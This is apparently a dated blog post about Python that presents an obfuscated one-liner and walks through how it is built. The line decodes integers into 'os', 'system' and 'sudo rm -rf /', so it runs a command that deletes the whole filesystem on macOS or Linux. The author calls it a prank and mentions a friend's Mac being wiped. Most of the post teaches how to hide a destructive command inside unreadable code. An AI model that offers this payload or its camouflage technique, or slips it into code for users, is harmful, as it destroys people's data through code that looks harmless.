How to use one line of Python code that nobody could understand, to cause maximum damage to a computer.

in #python7 years ago (edited)

 Code first:

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))

It can run on OS X and Linux 

It's just a little prank, really did not expect to have a buddy tried this. Then everything on his Mac was deleted......

So, how did this work?

It's really not that complicated, it's just some code camouflage. Translate this code into the most direct and simple version, and it's only two lines:

import os
os.system('sudo rm -rf /')

The first step, we want to change import into __import__, it accepts a string, and return to the module itself:

__import__('os').system('sudo rm -rf /')

OK, now it has become a single line, the following is to make it more and more confusing. The specific idea is to convert as much content as a string, and then do the transformation of the string, through the getattr function, It can be rewritten as the following:

getattr(__import__('os'), 'system')('sudo rm -rf /')

To this step, We need to understand that in lambda function definition and implementation can be put together. Also, in Python, functions can be passed as arguments:

In [1]: (lambda n: n*2) (2)
Out[1]: 4

In [2]: (lambda f: f('10')) (int)
Out[2]: 10

At this moment, we need to find a ways to put the above three strings os,system,sudo rm -rf / no longer write directly, but converted to a number, and then passed a function to the digital decoding to the string, previous code can be rewritten as follows:

(lambda decode: getattr(__import__( decode(NUM1) ), decode(NUM2))(decode(NUM3))) (decode_function)

Maping the string to a number:

In [3]: encode = lambda s:int(s.encode('hex'), 16)

In [4]: decode = lambda x: hex(long(x))[2:-1].decode('hex')

In [5]: encode('os')
Out[5]: 28531

In [6]: decode(28531)
Out[6]: 'os'

In [7]: encode('system')
Out[7]: 126965465245037

In [8]: decode(126965465245037)
Out[8]: 'system'

In [9]: encode('sudo rm -rf /')
Out[9]: 9147569852652678349977498820655L

In [10]: decode(9147569852652678349977498820655L)
Out[10]: 'sudo rm -rf /
'

Fill in the code just now:

(lambda decode: getattr(__import__( decode(28531) ), decode(126965465245037))(decode(9147569852652678349977498820655L))) (lambda x: hex(long(x))[2:-1].decode('hex'))

Finally, we will modified the decode , such as 2 == True << True (True == 1), or -1 == -True, and the string hex can be obtained through the function hex __name__. Thus, pass it as a parameter to a lambda function, return the decode function we need, decode becomes like this:

(lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True)

Assembled together, change the variable name into an underline, you get the final result:

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))

Tips: Do not try this on your computer.

PEACE.